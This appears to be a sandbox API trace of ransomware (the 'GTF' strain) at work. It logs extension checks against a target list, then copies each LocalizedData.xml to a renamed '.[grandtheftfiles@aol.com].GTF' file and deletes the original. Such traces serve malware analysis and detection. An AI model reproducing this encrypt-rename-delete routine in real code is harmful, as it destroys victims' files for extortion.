	[0066.867] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.867] lstrlenW (lpString=".pdf") returned 4
	[0066.867] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.867] lstrlenW (lpString=".xls") returned 4
	[0066.867] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.867] lstrlenW (lpString=".xlsx") returned 5
	[0066.867] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.867] lstrlenW (lpString=".ppt") returned 4
	[0066.867] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.867] lstrlenW (lpString=".zip") returned 4
	[0066.867] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.867] lstrlenW (lpString=".rar") returned 4
	[0066.867] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.867] lstrlenW (lpString=".bz2") returned 4
	[0066.867] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.867] lstrlenW (lpString=".7z") returned 3
	[0066.867] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.867] lstrlenW (lpString=".dbf") returned 4
	[0066.867] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.867] lstrlenW (lpString=".1cd") returned 4
	[0066.867] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.867] lstrlenW (lpString=".jpg") returned 4
	[0066.867] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.867] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0066.868] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0066.868] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.870] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=79296) returned 1
	[0066.870] CloseHandle (hObject=0x31c) returned 1
	[0066.870] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80
	[0066.870] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.870] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.870] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.870] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.871] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.871] GetLastError () returned 0x0
	[0066.871] ReadFile (in: hFile=0x31c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x135c0, lpOverlapped=0x0) returned 1
	[0066.944] WriteFile (in: hFile=0x2f8, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x135d0, lpOverlapped=0x0) returned 1
	[0066.947] ReadFile (in: hFile=0x31c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.947] WriteFile (in: hFile=0x2f8, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.947] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.947] CloseHandle (hObject=0x2f8) returned 1
	[0066.950] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.950] SetEndOfFile (hFile=0x31c) returned 1
	[0066.952] CloseHandle (hObject=0x31c) returned 1
	[0066.952] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.952] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1
	[0066.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.953] lstrlenW (lpString=".doc") returned 4
	[0066.953] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.953] lstrlenW (lpString=".docx") returned 5
	[0066.953] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.953] lstrlenW (lpString=".pdf") returned 4
	[0066.953] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.953] lstrlenW (lpString=".xls") returned 4
	[0066.953] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.953] lstrlenW (lpString=".xlsx") returned 5
	[0066.953] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.953] lstrlenW (lpString=".ppt") returned 4
	[0066.953] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.953] lstrlenW (lpString=".zip") returned 4
	[0066.953] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.953] lstrlenW (lpString=".rar") returned 4
	[0066.953] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.953] lstrlenW (lpString=".bz2") returned 4
	[0066.953] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.953] lstrlenW (lpString=".7z") returned 3
	[0066.953] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.953] lstrlenW (lpString=".dbf") returned 4
	[0066.953] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.954] lstrlenW (lpString=".1cd") returned 4
	[0066.954] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.954] lstrlenW (lpString=".jpg") returned 4
	[0066.954] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.954] lstrlenW (lpString=".doc") returned 4
	[0066.954] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.954] lstrlenW (lpString=".docx") returned 5
	[0066.954] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.954] lstrlenW (lpString=".pdf") returned 4
	[0066.954] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.954] lstrlenW (lpString=".xls") returned 4
	[0066.954] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.954] lstrlenW (lpString=".xlsx") returned 5
	[0066.954] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.954] lstrlenW (lpString=".ppt") returned 4
	[0066.954] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.954] lstrlenW (lpString=".zip") returned 4
	[0066.954] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.954] lstrlenW (lpString=".rar") returned 4
	[0066.954] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.954] lstrlenW (lpString=".bz2") returned 4
	[0066.954] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.954] lstrlenW (lpString=".7z") returned 3
	[0066.955] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.955] lstrlenW (lpString=".dbf") returned 4
	[0066.955] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.955] lstrlenW (lpString=".1cd") returned 4
	[0066.955] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0066.955] lstrlenW (lpString=".jpg") returned 4
	[0066.955] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.960] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0066.960] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0066.960] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.963] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=82374) returned 1
	[0066.963] CloseHandle (hObject=0x2f8) returned 1
	[0066.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80
	[0066.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.964] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.964] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.964] GetLastError () returned 0x0
	[0066.964] ReadFile (in: hFile=0x2f8, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x141c6, lpOverlapped=0x0) returned 1
	[0066.993] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x141d0, lpOverlapped=0x0) returned 1
	[0066.995] ReadFile (in: hFile=0x2f8, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.995] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.995] SetEndOfFile (hFile=0x314) returned 1
	[0066.996] CloseHandle (hObject=0x314) returned 1
	[0066.998] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.998] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.999] CloseHandle (hObject=0x2f8) returned 1
	[0066.999] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.000] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1
	[0067.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.000] lstrlenW (lpString=".doc") returned 4
	[0067.000] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.000] lstrlenW (lpString=".docx") returned 5
	[0067.000] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.000] lstrlenW (lpString=".pdf") returned 4
	[0067.000] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.000] lstrlenW (lpString=".xls") returned 4
	[0067.000] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.000] lstrlenW (lpString=".xlsx") returned 5
	[0067.000] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.000] lstrlenW (lpString=".ppt") returned 4
	[0067.000] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.000] lstrlenW (lpString=".zip") returned 4
	[0067.000] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.000] lstrlenW (lpString=".rar") returned 4
	[0067.000] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.000] lstrlenW (lpString=".bz2") returned 4
	[0067.000] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString=".7z") returned 3
	[0067.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.001] lstrlenW (lpString=".dbf") returned 4
	[0067.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.001] lstrlenW (lpString=".1cd") returned 4
	[0067.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.001] lstrlenW (lpString=".jpg") returned 4
	[0067.001] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.001] lstrlenW (lpString=".doc") returned 4
	[0067.001] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString=".docx") returned 5
	[0067.001] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.001] lstrlenW (lpString=".pdf") returned 4
	[0067.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString=".xls") returned 4
	[0067.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString=".xlsx") returned 5
	[0067.001] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.001] lstrlenW (lpString=".ppt") returned 4
	[0067.001] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.001] lstrlenW (lpString=".zip") returned 4
	[0067.001] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.001] lstrlenW (lpString=".rar") returned 4
	[0067.001] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString=".bz2") returned 4
	[0067.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.001] lstrlenW (lpString=".7z") returned 3
	[0067.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.001] lstrlenW (lpString=".dbf") returned 4
	[0067.002] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.002] lstrlenW (lpString=".1cd") returned 4
	[0067.002] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0067.002] lstrlenW (lpString=".jpg") returned 4
	[0067.002] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.002] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0067.002] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0067.002] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.009] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=80738) returned 1
	[0067.009] CloseHandle (hObject=0x314) returned 1
	[0067.009] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80
	[0067.009] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.010] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.010] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.010] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.010] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.010] GetLastError () returned 0x0
	[0067.010] ReadFile (in: hFile=0x314, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x13b62, lpOverlapped=0x0) returned 1
	[0067.020] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13b70, lpOverlapped=0x0) returned 1
	[0067.023] ReadFile (in: hFile=0x314, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.023] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0067.023] SetEndOfFile (hFile=0x31c) returned 1
	[0067.023] CloseHandle (hObject=0x31c) returned 1
	[0067.025] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.026] SetEndOfFile (hFile=0x314) returned 1
	[0067.027] CloseHandle (hObject=0x314) returned 1
	[0067.028] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.029] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1
	[0067.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.029] lstrlenW (lpString=".doc") returned 4
	[0067.029] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.029] lstrlenW (lpString=".docx") returned 5
	[0067.029] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.029] lstrlenW (lpString=".pdf") returned 4
	[0067.029] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.029] lstrlenW (lpString=".xls") returned 4
	[0067.029] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.029] lstrlenW (lpString=".xlsx") returned 5
	[0067.029] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.029] lstrlenW (lpString=".ppt") returned 4
	[0067.029] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.029] lstrlenW (lpString=".zip") returned 4
	[0067.029] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.029] lstrlenW (lpString=".rar") returned 4
	[0067.029] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.029] lstrlenW (lpString=".bz2") returned 4
	[0067.029] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.029] lstrlenW (lpString=".7z") returned 3
	[0067.029] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.030] lstrlenW (lpString=".dbf") returned 4
	[0067.030] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.030] lstrlenW (lpString=".1cd") returned 4
	[0067.030] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.030] lstrlenW (lpString=".jpg") returned 4
	[0067.030] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.030] lstrlenW (lpString=".doc") returned 4
	[0067.030] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString=".docx") returned 5
	[0067.030] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.030] lstrlenW (lpString=".pdf") returned 4
	[0067.030] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString=".xls") returned 4
	[0067.030] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString=".xlsx") returned 5
	[0067.030] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.030] lstrlenW (lpString=".ppt") returned 4
	[0067.030] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.030] lstrlenW (lpString=".zip") returned 4
	[0067.030] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.030] lstrlenW (lpString=".rar") returned 4
	[0067.030] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString=".bz2") returned 4
	[0067.030] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString=".7z") returned 3
	[0067.030] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.030] lstrlenW (lpString=".dbf") returned 4
	[0067.030] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.031] lstrlenW (lpString=".1cd") returned 4
	[0067.031] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0067.031] lstrlenW (lpString=".jpg") returned 4
	[0067.031] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.031] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0067.031] lstrlenW (lpString="eula.rtf") returned 8
